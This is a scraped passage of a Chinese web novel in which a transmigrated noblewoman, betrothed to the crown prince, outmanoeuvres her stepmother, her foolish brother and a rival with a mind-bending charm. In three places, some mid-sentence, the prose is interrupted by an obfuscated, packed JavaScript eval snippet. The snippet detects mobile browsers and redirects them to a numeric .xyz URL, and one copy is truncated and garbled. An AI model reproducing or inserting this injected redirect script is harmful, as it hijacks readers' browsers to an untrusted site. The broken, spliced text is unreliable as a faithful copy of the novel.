不过她很想得开,真要是一眼看过来就对她心生爱意言听计从,未必是什么好事,她就一个人如何应付那么多? 她也在暗暗提醒自己,天赐神通不可擅用。 而在一派沉默中,二公主终于回过神来,只是这个回神也不代表她后悔为姐姐们撑腰出气,而是不该当众质问太子亲哥。 二公主抿了抿嘴,“安国公确实……我不是说不行,就是别差别这么大呀……表姐们倾心哥哥你这么多年,你不好不管她们,让她们没了着落。” 谭姑娘和李姑娘这会儿也想冲过去堵住二公主的嘴:这话一出,连门口守着的侍卫们都神色微变,是不是就差笑出声来! 就算她俩真想在太子这棵树上吊死,也不能就……这么大庭广众之下说出口啊!传出去她们成什么了! 幸好屋里屋外都是太子亲卫,得意楼又是大公主的产业,谭姑娘与李姑娘松了口气之余,齐齐扭头,看向身后的唐诗丽。 唐诗丽正琢磨将来如何与太子往来,又怎么跟四皇子再续前缘,安国公的宝贝儿子她上一世的第一任丈夫姜清泰也不能落下……姜清泰再怎么其蠢如猪,安国公是个指望得上的大靠山…… 冷不丁让谭姑娘与李姑娘瞪了一眼,她立即抬手做了个捂嘴的动作。 谭李二人相信唐诗丽的保证,三人互相以眼神示意彼此放心。 然而二公主却没打算放过她们,继续道,“我觉得唐姐姐容色还在……姜家妹妹之上!”这回她倒是记得对安国公家的姑娘稍微客气那么一点儿。 太子笑了,嘴角上扬但眼中全无笑意。 姜典则只差在旁边配音,原来人在无语至极的时候是会笑的。 二公主却觉得自己很有道理,“这不是两全其美嘛!” 她话音刚落,门外脚步声与掌声一起响起,守门的侍卫们躬身行礼,不多时出现在门口的可不是此间东主大公主。 大公主抬脚进门,直截了当,“小妹,这话你不如当着父皇母后面说一说?” 二公主不情不愿地站起身来,不情不愿,“大姐,哼,说就说。” 大公主看向纷纷起身向她行礼的女孩子们,尤其是在姜家姑娘和唐家姑娘身上视线多停留了会儿,最后和弟弟太子对了个眼神。 礼毕落座,上茶喝茶,等众人心情平静少许大公主才再次开口,“女孩子们关起门来说些悄悄话,都没什么妨碍,只是婚姻大事终须各家长辈做主。” 二公主嘴巴嘟得可以挂油瓶了,不是她不敢顶撞大姐,连太子哥哥想说就说还能怕大姐了不成,而是脑子里那股子邪火渐渐散去,她莫名觉得今天有些莽撞了。 不过姐姐和哥哥怎么都不会跟她计较。 又说了些不咸不淡的家常闲话,大公主就端茶送客了,即使这里是开门迎客的得意楼。 大公主本意是让姑娘们都回家,她们姐弟三个好生说道说道,可就在谭李唐三人起身告辞之时,太子拉住身边姜典则的手,“大姐,我要和清恒吃午食。” 原主就叫姜清恒。 大公主的眼睛都瞪大了一点:不是,怎么今天不止是小妹……不同以往啊! 二公主也急了,扯住大公主的袖子,“大姐你看他!不是我一个任性!” 大公主没搭理妹妹,只对太子颔首道,“我带妹妹回宫就是。” 太子道了声谢,就大大方方牵着姜典则的手走了。 谭李二人目送太子带人离开,而后面面相觑,又一次面露苦涩。 唐诗丽袖子里的拳头再次攥紧:天赐神通对太子不太灵光,对付四皇子估计同样不尽如她意。依稀想起上辈子的四皇子……那是个柔情贴心的……狠心郎。 那就剩下姜清泰了! 跟着谭李二人走下楼,准备各自上车各自归家时,她下定决心:姜清泰这个蠢货无论如何都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705995|173526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃不过她的掌心! 而另一边的马车上,太子依旧拉着姜典则的手,“清恒,我能这么叫你吗?你也可以称呼我的名字。” 姜典则笑了起来,“当然。” 太子微微颔首,“咱们去景园。这是母后送我的产业,方便我在宫外招待亲朋下属。”说完他扭头看向姜典则,“今天我是故意选了得意楼,图的就是隔墙有耳……贵女们的是非我不好说,自有大姐替我直言。我只是没想到……”和你一见钟情。 姜典则更欣赏这位太子了,“应有之意。” 太子展颜一笑,相当灿烂,“与君初相识,犹如故人归,这是母后写给父皇的。这也是我刚刚……头回见你就这么觉得了。”他声音放低,“我要是有母后的才华就好了,我……不太会说情话写情诗。” 姜典则捏了捏太子的手,“殿下您已经很好了,”她也不假惺惺自称什么臣女,“我很感动。” “不,”太子堪称火眼金睛,“你不感动。你……想笑就笑吧。” 姜典则真地笑出了声,“您真的好可爱!”她确实有点喜欢这位太子殿下了。 虽然并不是自己期待的评价,但……也还行吧。太子望着面前明媚至极,害得他也想跟着笑的精致容颜,“可是你说的,不许反悔。” 却说太子这次的马车和摆出的仪仗,称得上轻车简从,但不代表太子的马车不够舒适不够隔音,但太子与姜典则的“悄悄话”还是瞒不住坐在车头与车位的心腹们。 几个内侍与侍卫全都听麻了。 哥几个都觉得哪怕这位阴差阳错没能嫁给太子,依旧是实质上的太子妃! 太子这会儿可顾不得心腹的感受,他任由姜典则把玩他的右手,心中泛起难以形容的满足,于是自然而然说起来正事,“小妹她脾气不好,但从来不爱多管闲事。谭李二人一口气送十个八个面首,也不会让她专门跑来质问我。今天跟昏了头似的,就很不对劲儿。” 姜典则又笑了出来,“您今日落在旁人眼中,只怕也是昏了头。” “父皇待母后亦是这般,这是家学渊源。”太子颇为自豪,旋即话锋一转,“我那两个表姐心比天高,没那个本事。而唐家那个……叫什么来着,我看她第一眼居然恍惚失神了几息,还是你把我叫醒的。” 姜典则实话实说,“我何尝不是恍惚了一下。只怕不止二公主,还有谭李二位姐姐。” 太子点了点头,“我派人盯一盯她。” 姜典则应道:“若有进展,还请您教我。” 之后太子和姜典则吃饭,饭后又带着她逛园子,直到宫中内侍找来,请太子回宫议事。太子这才恋恋不舍和姜典则分别。 坐上自家的马车回府,今天大半天都跟隐形人一般的陈妈妈与春桃大出口气,放松的同时不掩得意:不过二人极有分寸,憋了一肚子话再怎么“撑”得难受都得回府再说。 入得安国公府二门,姜典则扶着陈妈妈的手下车,人都没站稳,一个锦衣美貌少年自内宅门冲了出来,并冲着姜典则高高扬起手来。 而少年身后自是缓步前来面带笑容的李夫人。 陈妈妈刚要出手就让姜典则出声制止……锦衣少年,也就是原主的同母弟姜清泰,跑得实在是不快,于是姜清泰来到面前,姜典则毫无难度地捏住少年的手腕,一点都没留力。 姜清泰吃痛,直接哀嚎出声。 姜典则并不松手,望着此时堪称狰狞的李夫人,以及“姗姗来迟”的内宅管事们,“母亲生气,要赏我耳光。弟弟生气,还要扇我耳光,”她忽地想起没什么表情但眼中满是得意的太子,“这也是家学渊源吗?不知道的,还以为我做了什么对不起母亲对不起弟弟的事情,又或者是捡来的野孩子……” 内宅管事们闻言心里咯噔一下,知道此事无法善了。 而姜清泰此时大声怒吼,“你那么对诗丽,我凭什么不能打你,等我承袭公爵,有你好看的!” 而大门处的李夫人从怒容直接转为面露喜色。 姜典则都沉默了一下。 小助理及时“上线”,“实在是难以想象原主弟弟居然能这么智障……” 身后杂乱脚步声传来,姜典则回了头,看见因为疾跑而喘息不已的前院管事们……他们姗姗来迟可就不是故意掐点了。 于是她点了点头,“都听见了?几位管事都在,那一会儿一个字都不要差,全说给父亲。” 她手底下的便宜弟弟姜清泰这会儿不仅立时噤声,更是挣扎都免了。不过狗改不了……她知道李夫人和姜清泰母子俩是不会轻易放弃的,因为她俩背后的唐诗丽可是奔着太子妃在持续奋斗,外挂不坏,奋斗不止。 5. 太子妃5 姜典则等前院几位管事恭敬应下,才松开了便宜弟弟的手腕。 姜清泰瞟了眼垂首站立的前院管事们,也果断从心了:有祖母和亲娘,他在后宅无法无天惯了的,但面对父亲的心腹们,他显然没那么有底气。 于是他捂着手腕悻悻道:“你真下力气啊!我还是不是你亲弟弟?!” 姜典则笑了,语气温柔,不急不缓,“你冲过来要扇我巴掌,反而问我是否在意骨肉亲情?” 姜清泰抬头瞥了眼杵在门口的李夫人,“谁让你对母亲不敬。” 姜典则也反问道:“我怎么对母亲不敬了?” 李夫人双颊通红但依旧垂下了头,而姜清泰也低头不再吭声。 母子俩这副明显理亏的模样落入众人眼中,姜典则并不想轻易放过她们,“看来是想拿捏我了。” 姜清泰脱口而出,“祖母和母亲还不是怕你在家霸道惯了,入宫后也胡言乱语给家里惹祸!” 姜典则又笑了,“你还挺理直气壮。”这话明显是李夫人给姜清泰灌输的,无怪乎姜清泰在剧情里让唐诗丽玩得团团转。 她再次转头看向几位前院管事,“等父亲归来,还请几位转告父亲。” 前院管事恭敬应下,姜典则抬手扶住身边的陈妈妈,“咱们回房去。” 路过李夫人,她特地停步,“母亲,皇后娘娘青睐有加,全是托父亲的福。您若有要求,尽可向父亲提起,女儿不过内宅弱女子,能耐有限,万事做不得主。” 李夫人脑子再不够用,也听得出孽障女儿话中的警告与阴阳怪气,但国公爷心腹们都盯着她,她委实不敢怎么样,只能面现怒色,“你!”就再没什么然后了。 看透李夫人色厉内荏,姜典则轻轻颔首,扶着面无表情的陈妈妈径直回房去了。 此番母女“斗法”,安国公回府第一时间便已知晓。 换了家常衣裳,坐在书案前,安国公也有些苦恼:他这位续弦是原配妻子的堂妹,当初一众人选他专门挑中,图的正是漂亮但不聪明,心思能一眼望到底,且娘家不力,极好收拾,如今居然能蠢到当众作妖中选太子妃的亲生女儿,而原因九成九是嫉妒! 安国公忽然有苦难言了,他投笔从戎,带了半辈子兵,可太知道“蠢人教不会”以及“知错就改一定不会蠢”…… 好在妻子欺软怕硬。 不过他没有召见妻子,而是让管事去把他的傻儿子叫过来。 管事自门口束手回话,“国公爷,二少爷出门会友去了。” 安国公这回是真气笑了:生怕老爹回家发作,先避一避风头是吧。反正他是不信他的傻儿子有本事跑到天涯海角去避风头,于是下令管事立即把傻儿子带回来。 话说姜清泰没在亲姐姐那儿讨得便宜,回头埋怨了亲娘几句就回房换衣裳,带着自己的书童和家丁,麻利儿出门……作为安国公实际上的独子,他有好几个乐意捧着他哄着他的狐朋狗友。 赶到他们哥几个时常聚会的酒楼,姜清泰只等了一刻钟多点,收到口信儿的狐朋狗友纷纷到来。 姜清泰三杯好酒下肚,就关不住话匣子了,从祖母父亲母亲再到姐姐抱怨了一通,“我得杀杀她的锐气,还没做太子妃呢,就敢这样,往后……岂不是要骑在我脑袋上拉屎!” 狐朋狗友们在各自家族都是边缘人,但不代表他们没有脑子。 耐着性子听完姜清泰的苦水,再听到姜清泰的要求,他们心里就一个想法:我要是有个太子妃亲姐,我能邀请她骑在我脑袋上! 但明面上哥几个还你一言我一语地安抚,说什么“春风得意自然骄傲”,“哄好她不差前程”之类。 只是姜清泰根本不想听这个,他又酒劲儿上涌,“你们都给我想!给我出主意!” 狐朋狗友对视一番,准备提起几个京中的风云人物,比如各楼里的头牌混过去,酒楼的掌柜忽然跑过来敲门,原来是唐家兄妹来了,听说他们几个也在,便打发掌柜来问要不要凑一桌热闹热闹。 姜清泰见过唐诗丽,不说痴迷不已吧,起码也是动了迎娶之心,这会儿听唐家兄妹不请自来,自然“欢迎之至”。 他猛地起身,晃晃悠悠想要主动去迎。 却说唐诗丽没在得意楼占得先机,便打算走姜清泰这条路:首先姜清泰是她知道的贵公子之中最傻最好控制的。而安国公就这么一个宝贝儿子,一般情况下很愿意纵着姜清泰,只要姜清泰的要求不特别离谱。姜清恒上辈子婚前没印象了,但做了太子妃以后也挺偏心娘家,甚至因为庇佑娘家跟太子好几次闹得不欢而散…… 因此唐诗丽在过来的路上就在琢磨:实在不成,做太子侧妃也凑合了。住进东宫,她也好跟四皇子再续前缘。 打定主意,她便告诉陪她出门的同母二哥,她愿意做太子侧妃,皇子侧妃也成,说话间用上了一点天赐神通。 唐二哥高兴得不行,“妹妹你总算想开了!”顿了顿他神情无比诚恳,不带半点尴尬,“谁不想你做正妃呢,那不是做不到吗!” 唐诗丽心里冷笑一声,这才是家里人的真正想法,她就不配做正头娘子!也罢,上辈子她就是靠自己上进,这辈子早看透早省心。 唐二哥一瞧妹妹垂眸不语,一阵心疼旋即胡言乱语起来,“你这样子还不把太子他们迷死,侧妃又怎么样,你肯定是他们唯一心爱,一点不怵太子妃王妃什么的,皇后娘娘也……必然爱死你。” 唐诗丽恨不得把二哥嘴给堵上:这会儿她意识到天赐神通的弊端了,偏向她归偏向她,怎么脑子似乎也跟着削减了?虽然确实是人傻好操控,但人太傻容易误事啊! 二哥仍在车轱辘话喋喋不休,她满脑子官司烦得不行,终于怒喝,“闭嘴!” 唐二哥吓了一跳,旋即满脸委屈但还是老实听话。 直到来到姜清泰他们几个聚会的酒楼,唐二哥跟着掌柜走入包间,跟姜清泰他们见礼寒暄。 不过这会儿姜清泰他们注意力全落在了唐二哥身后,自行摘下帷帽的唐诗丽身上。 姜清泰首当其冲,直接看呆了。 身边狐朋狗友因为不至于让唐诗丽“重点关照”,遭受的冲击力没有那么强,倒还说得出话。 于是他们纷纷赞许,什么“几日不见,唐妹妹出落得国色天香”,“倾国倾城啊”,“注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李夫人得到消息,捏着帕子匆匆赶到儿子的院子,望着儿子衣裳上的鞋印儿,泪水止不住往下淌,“我怎么生了那个孽障,不孝不悌还牵连你……” 亲娘天天跟受了天大的委屈,见面又哭哭啼啼,姜清泰也觉得心烦,他推了生母一把,没怎么用力,“我爹没用劲儿,怎么我也是他亲儿子。”他也是酒后吐真言,“你撺掇我对付我姐,倒是我吃了我爹一脚,你什么事儿都没有。娘,得了便宜别卖乖。” 李夫人哭声一滞,泪水也断了线。 姜清泰深吸口气,揉了揉胃口,“半个月后皇后的赏花宴,你想办法带上唐家九姑娘。我想娶她。” 李夫人当即惊呼出声,“那怎么行!唐家那种破落户!你喜欢做个姨娘也就……”她对上儿子满是红血色的双眼,“好好好,娘都听你的!” 这番“母子密谋”当晚就传到了姜典则耳朵里——安国公表达了他的倾向,府中下人自然跟着国公爷走。 唐诗丽能控制姜清泰,一点不出她的预料。 “唐诗丽进宫,目标不是太子就是四皇子,”姜典则翻了翻剧情梗概,“她是想来一出老活新整,再次在太子身边醒来吗?” 6. 太子妃6 春夏之交与宫中举办的赏花宴,其实就是面向宗亲世家的大型相亲会。 李夫人作为安国公夫人,除了自己的女儿,本就有一个额外的名额,她之前都是带着娘家侄女见一见世面。这次宝贝好大儿要求她将这个名额交给唐诗丽,再不情愿也得照办,娘家侄女那边儿……就只能说声不好意思,明年再说。 李夫人自信满满,觉得娘家哥嫂定能体谅她,再说她那个侄女今年都不到十六,晚一年也不碍着什么。 于是她哄好儿子,就让陪嫁嬷嬷回娘家传个口信儿。 她万万想不到,晚饭后陪嫁嬷嬷归来,还把她大嫂给“捎带”来了。 她大嫂显然是气坏了,上来就兴师问罪,“国公夫人怎么一夜之间连亲疏远近都分不清了?” 李夫人不是不理亏,“泰哥儿非得让我带上唐家九姑娘,我能怎么办?” 大嫂闻言抿了抿嘴,“你就宠儿子吧。” 丈夫不贴心,往后只能指望儿女,尤其是儿子,她何尝不是这样?于是她咽下了不少难听的话,“你带谁进宫我管不着,只要别忘了你侄女怎么都成!” 紧接着她语气温柔和缓起来,名言三皇子与四皇子今年二十一,太子十九,虽然都有了正妃人选,但侧妃未定,若是能和正妃同期进门,早早生了子嗣,可不就是占得了先机,往后年老色衰不得宠又如何?有了儿子,就不是非得看丈夫的眼色活着了。 最后大嫂一锤定音,“小姑子,错过这村没这店,咱们都得想好了,早做打算!” 李夫人早就知道丈夫看不上她,她将来必须指望儿子,但是大嫂那句“侧妃未定,若能和正妃同期入门”深深打动了她。她那个孽障女儿得意忘形,她得教一教这丫头尊卑! 她靠在椅背上琢磨了一会儿,“我问问老太太吧。老太太娘家没有年纪合适的嫡出女孩儿。” 大嫂点了点头,“还是那句话,带上你侄女入宫,旁的怎么都成。” 大嫂得了准话,心满意足地告辞。 李夫人送走娘家大嫂,也不耽搁直接往老太太院子去了。 然而老夫人闻得始末,张口就是“不行”。 老夫人可不像李夫人,她并不嫉恨自己的亲孙女,最多就是“既怕孙女过得苦,又怕孙女开路虎”,所以她会默许儿媳妇当众打压拿捏孙女,可当儿子明确表达了态度,她果断跟着儿子走。 在老夫人这儿碰了一鼻子灰,李夫人悻悻而归。 刚好姜清泰酒醒得差不多,上母亲院子来吃点夜宵,顺便问问大舅妈刚才来做什么。 李夫人当着儿子又委屈得不行,“要不是为了你,我何至于让你大舅母你祖母连着骂上两回?” 姜清泰歪在榻上,让母亲房里的大丫头喂他,等母亲吐完苦水,他公然阴阳怪气道,“找我那个出挑得不行,父亲偏心的亲姐姐啊,她都是太子妃了,多带个人入宫做不到吗?” 李夫人一听,就差拍手叫好,“对啊。” 她一点不耽搁,又往女儿院子去了。 姜典则身边不缺愿意通风报信的下人,因此李夫人到来,她比老夫人更痛快,“我做不得主,母亲应该去求父亲。” 前去报信儿的春桃刚好回来,也“捎带”了个熟人:前院的二管事,就是刚才带人把姜清泰扛回来的那位。 二管事到来先行礼,而后传话,“太太,老爷有请。” 李夫人原本心存侥幸,可听了这话脸都白了。 姜典则在自己的院门目送李夫人离开,背影中都透着浓浓的沮丧,微笑点评,“母亲真的是,很容易一眼望到底。” 小助理及时附和,“是个坏人,但又没有办大坏事的能耐。有点可怜了呢。” 姜典则转身回屋,“她要是有这个能耐,不一定能活得到今天。” 而接下来的几天,李夫人都有前院管事监督,在后院佛堂抄经念经,借口依旧是为故去新平公主祈福,直到赏花宴的前一天才让安国公放了出来。 这十多天里,姜典则也没和太子再见面,但太子每隔一天准时送书信过来。 信中主要是他在京郊大营的见闻,顺带提起关外草原上的新王有雄心壮志,一统草原在即,这几天犯边越来越频繁,每封信最后一段都是雷打不动的“想你,想见你,想娶你”。 整体而言这几封书信或者叫情书,以干货为主,措辞也不肉麻,姜典则的回信自然比较克制,内容多是称赞太子,以及她也挺期待某一天的到来。 直到赏花宴前三天,太子如约而至的书信画风骤变,他的心腹发现唐诗丽四处钻营,大概是想在赏花宴上瞄准他们兄弟一个又或者几个,来个生米煮熟饭。他已然有所防备,让姜典则不要担心,到时候如果听到什么风言风语,也请相信他,他一直羡慕他父皇母后心心相印鹣鲽情深,他也想跟父皇母后一样,能够一生一世一双人。 太子白纸黑字这样许诺,姜典则肯定要相信他,起码暂时相信他。 于是她回信说等着好戏登场,其他的不好意思写下来还是见面诉衷肠比较妥当。 第二天傍晚,太子捧着这封回信,想起心上人的嗓音,还有摆弄他右手时那种时不时酥麻的感觉,他稍微挪动了下身子。 正给他换药的内侍惊呼了一声,“殿下!” 太子看了着大腿上又渗出鲜血的伤口,不以为意,“重新包一下。这点子小伤,不碍的。”不舍得放下手中回信,只在心里默默盘算:后天想去安国公府接她,不知道她会不会又惊又喜。 太子自然想到就做,于是到了赏花宴举办当天,姜典则这边刚打扮好,前院二管事便亲自跑来传信儿:太子驾到,来……来接姑娘您进宫。 姜典则感觉得到太子喜欢她,喜欢到相当上头,但专门跑来接人,她属实没想到。 一般来说,即使有婚约,太子上门要么是探病要么就是迎亲。 她点了点头,“嗯,我先去向祖母父亲与母亲禀报一声。”她看向正喜不自胜的陈妈妈和春桃,“咱们走。” 而陈妈妈和春桃见自家姑泰然自若,也收敛了不少。 来到安国公接待贵客的前院大书房,果然见到盛装太子居于高位。 姜典则不慌不忙依次见礼,顶着安国公赞许的目光与李夫人都快凝成实质的妒意,笑对太子道,“殿下今日格外俊美。” 安国公眉头微皱,而一直察言观色的李夫人只等丈夫一个眼神,就出言怒骂——简直无法无天,再不教训可还得了! 然而太子沉默了数息便嘴角上扬,起身并向姜典则伸出右手,“出门前好生打扮过,你喜欢就没白忙活。” 李夫人实在绷不住,瞪大眼睛,满脸的不可思议。 门边的管事们低着头,并不妨碍他们递眼色:好家伙,太子绝对是动真心了! 安国公神情有点微妙,毕竟见识过帝后如何互动:女儿能不能成为另一位谭皇后还不好说,但太子不愧是陛下亲子,脾气偏好俨然是陛下翻版! 姜典则才不 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太子一脸无奈,“鼻子也太灵了,我特地熏了好几遍香。” 姜典则拉住太子的手,轻轻晃了晃,“给我看看伤哪儿了。”剧情里太子就是多次重伤最后不治,英年早逝,如果不想目前处于盛世的大齐一如剧情里那般急速衰败灭亡,太子的寿命就是关键了。 她传音给无所不在的小助理,“如果不接我那老乡谭皇后的任务,只延续大齐国祚有没有奖励?” 小助理查了一下,“有的呢,虽然比不上谭皇后的任务奖励,但也不算少。” 姜典则心里有了数,再抬头盯住太子,语气都严厉了起来,“给我看!” 太子理解成了关心则乱,不仅不生气,心里甚至甜滋滋的,他摸了摸鼻子,“伤在腿上。” “怎么?你的腿我不能看?” 太子耳尖又红了,“可以看。但是……别吓到了。” “小瞧我?我可是曾祖母抚养长大的。”姜典则在太子裹着纱布的伤口处轻轻点按,“处理得很好,你这阵子尽量多休养……留下大伤疤我可是不依的。” “好,听你的。” 马车前后的内侍与侍卫听着隐约的窸窸窣窣以及太子与安国公大姑娘你一言我一语,又一次麻了。 不过他们大多见识过帝后如何相处,想法跟安国公不谋而合:太子有样学样,真的寻到了如意太子妃。 姜典则和太子叽叽咕咕说了一路,入宫后太子更为自然,干脆拉着她的手往坤宁宫去。 等真正踏入坤宁宫,依旧是上一次的东次间,姜典则在这儿不仅见到了谭皇后,还有元和帝,更有意思的是她和太子进门见礼,谭皇后与元和帝一直自然而然地手拉着手。 她看了看行礼后又理所应当伸过来的那只右手,再微微抬头以余光端详了元和帝片刻,就很想跟太子说:殿下,您以为唐诗丽目标只是你们兄弟一个或者几个,虽然是料敌从宽,但依旧格局小了……因为即将耳顺之年的元和帝他……也是风韵犹存。 看起来只有四十出头,雪肤高瘦大长腿,让她老家那边一众大姑娘小媳妇狂喊“Daddy,我可以”,人夫感十足的那种风韵犹存。 她侧头看向五官精致升级,元和帝年轻版的太子,打定主意等独处时好好说道说道。 因为元和帝未必吃唐诗丽的“魅惑光环”,但不代表元和帝的身边人也能扛得住。 7. 太子妃7 姜典则第一次见到唐诗丽,只觉得对方的金手指有点意思,然而现在她看到元和帝,忽然直觉不太妙。 “唐诗丽那个魅惑光环不会在短短十几天里进化了吧?” 小助理秒答,“不知道。需要立即付费查证吗?” 对上太子略有些疑惑的目光,姜典则打算稍安勿躁,“暂时不。先在宫里碰一碰唐诗丽再说,到时候决定要不要接受这个有点烫手的任务。” 小助理蛮懂自家老大的偏好,毕竟太子实打实貌美如花,不见剧情梗概里面的阴沉狠毒,意有所指,“我觉得……任务报酬可能只是添头。” 这会儿太子拉着姜典则的手坐到他父皇手边,非常直白地问,“父皇母后,婚期定了没有?” 元和帝瞄了眼得意的儿子,再看向安之若素的姜家小姑娘:小姑娘漂亮自不必说,他那个好心腹的亲生女儿就不可能丑,主要是小姑娘那灿烂笑容实在似曾相识。眼见为实,他算是半点不奇怪媳妇和儿子会一眼相中……话说他当年还不是让媳妇灿烂的笑容与秉性迷得晕头转向。 谭皇后跟元和帝自有默契在,她不用问也知道丈夫同样满意,就故意道,“明年秋天如何?” 太子那标志性的凤眼瞪得溜圆,“娘!您怎么能逗儿子玩!” 谭皇后哈哈大笑。 笑声过于爽朗,惹得元和帝亦忍俊不禁。 笑够了谭皇后才又道:“今年秋天,让钦天监挑个好日子。”说着晃了晃元和帝的手,“陛下你看?” 元和帝笑容不减,“都听你的。” 太子也由惊转喜,“儿子……”他看向身边的姜典则,“也都听母后的。” 谭皇后见状,摆了摆手,“小两口出去逛一逛,一会儿人到齐,我打发人去叫你们。” 太子立即起身,拉住姜典则的手,“儿子告退。” 姜典则屈膝行礼,跟着兴冲冲的太子走出坤宁宫。 元和帝望着儿子雀跃的背影,“有了媳妇忘了娘?” 谭皇后笑靥如花,“他们都大啦,我可不喜欢他们再黏着我,再黏着我我就没时间黏着你啦。” 元和帝揽住谭皇后,也笑不拢嘴,“那是。他们赶紧都给咱们成亲。” 坤宁宫内一时间洋溢着快活的气氛。 另一边,太子也没走多远,就在坤宁宫后面的小花园一棵花开繁盛的海棠树下,双手拉住姜典则诚恳地问,“秋天咱们成亲?” 哪怕不接任务,姜典则也是愿意跟太子谈个恋爱的,太子确实长在了她的审美上,“好啊。”而后她凑近太子,“殿下给看给摸,还能反悔呀?” 太子点了点头,耳朵又红得几乎透明,强行转移话题,“刚刚行礼那会儿,你看我做什么?” 姜典则立时严肃了起来,“殿下记得唐家九姑娘那异于常人之处吗?” 太子再次点头,实事求是,“她能哄住我小妹,说不得也能勾连我那两个哥哥……我自然做了些准备。” 姜典则道:“殿下跟我说过,我担心的是你准备得不够。” 太子惊讶了一瞬,“嗯?” 姜典则顺带着考验下太子喜欢她到何种地步,“我直觉不太好。要不咱们去瞧一瞧唐家九姑娘?” 太子只考虑了一息,“走,去瞧瞧。” 却说唐诗丽正跟小公主在居处说悄悄话——太子与小公主满十二岁后搬出坤宁宫,分别居住于东宫和乾东五所中的头所。 顺便一提,乾西五所与乾东五所本为皇子们居住,公主去住本就是破格,更别说三皇子与四皇子只能住一所,也就是一处三进大院子,而小公主直接占了两处。 唐诗丽从金碧辉煌的内设上收回视线,按住内心地烦躁劝说小公主,“太子殿下终究不同,帝后也舍不得您。”不忘静气凝神,发动神通再稳固下。 小公主恍惚了一下,旋即满口抱怨,“凭什么啊!我和他同胞兄妹,他选中姜清恒,爹娘也由他任性!却不给我个封号,我明明喜欢李家表哥!” 这……有点语无伦次,唐诗丽感觉该收手了,但……她余光扫了眼眼观鼻鼻观心的宫女们,继续火上浇油,“那您就让他……他们知道您生气起来可不好收场?” 小公主眼睛发红,一拍桌子,“好!”又猛地起身,“你跟着我!” 唐诗丽跟在二公主身后,微不可察地眯了眯眼睛:果然不可贪大求全,她的神通只对着一个人使效用最佳!广撒网不仅容易打草惊蛇,还事倍功半。 她低下头,轻轻揉了揉微微胀痛的脑袋,感觉可以对着太子来一下和四皇子分别来一下,再留点余裕以备不时之需。 二公主刚冲出乾东头所大门,就见到石板路尽头,刚刚转过红墙的同胞哥哥太子。 她莫名怒意上涌,就是这个亲哥哥让她让诗丽……都非常不痛快,她要亲哥哥付出代价!于是她快步冲了过去,伸出双手…… 跟在二公主身后的唐诗丽眉头一皱:不会想当众赏太子一耳光吧?那二公主这枚棋子不就废了! 她的神通最大的缺点就是这个,会让人对她心生无尽好感,甚至于言听计从,但同时也会急剧变蠢……如果原本就不太聪明,会蠢到如今这样她不忍直视的地步! 想到这里,她情不自禁地后退了三步。 就在此时,二公主忽地哆嗦了一下,因为她看到了太子哥哥身后的姜清恒,脑中再次热流上涌,她尖叫一声,“怎么把她也带来了!”她将扬起一点的手掌收回,双手猛地扯住太子领子,“哥哥你清醒点,她还没进门,你就这么宠她,这么待我?!我们是亲兄妹!” 姜典则都惊讶,跟小助理吐槽,“好家伙,居然误打误撞及时收手,还给圆回来了。这二公主有点子运道。” “谁说不是?她要是真跟她哥动手,这辈子要么出家要么远嫁,帝后再溺爱,也不会容许亲女儿当众掌掴太子。现在二公主看着是撒泼,但硬说成撒娇也不是不行。” 此时唐诗丽同样震惊,二公主是蠢人有傻福?居然过了这一劫,不过……她余光扫到了姜清恒身上,顿时心生不甘,只比恼羞成怒的二公主强上一点,毕竟她有理智,所以正应该趁机给太子来上一下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705998|173526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是她再不犹豫,赶紧小跑着上前,轻轻抓住二公主的左手腕——二公主身边的两个宫女在她潜移默化下,对她也莫名信赖,也先后扶住二公主的另一种胳膊。 唐诗丽低眉垂首,微微屈膝,行了个简略的礼,便劝说二公主,“殿下,皇后娘娘还等着您呢。” 二公主又恍惚了一下,似乎有这么个事儿,不过她好像还得去见见三哥四哥?不管了,听诗丽的就是。 她跺了下脚,老老实实收回了手,但语气依旧生硬,眼圈儿微红,“哥哥,我要去爹娘那儿告状!”说完扭头,一手唐诗丽,一手自己的心腹宫女,迈开步子风风火火地走了。 唐诗丽可不缺礼数,明明让二公主拖着走却不忘回头给太子来了个“惊鸿一瞥”。 按照她自己的想法,跟抡圆了来一锤一样,给太子来了个又大又狠的。 见过大世面的老江湖姜典则只通过余韵就能预估唐诗丽这光环的强度,她这会儿真担心了起来,“果然,是个成长型外挂。比让唐诗丽将父子俩一网打尽更可怕的是,”她看向目光忽然呆滞的太子,“他们父子成为唐诗丽的经验包,能无限刷的那种。” 她话音刚落,太子忽然用力刷开了她的手,要知道刚才二公主冲过来扯太子领子,太子都牢牢牵着她的手不肯松手。 姜典则低头看了眼自己的手而后抬头,刚好没有错过太子眼中一闪即逝的嫌恶,以及迅速扭头追寻唐诗丽背影时的些许灼热。 然而两三息过去,太子目光再次清明,再之后他迅速伸手,又一次牢牢,嗯,确切的说是死死抓住姜典则的手。 见心上人神情未变,也没有回敬一个甩开,太子明显松了口气,但脸上血色褪去唯有双眼微红。 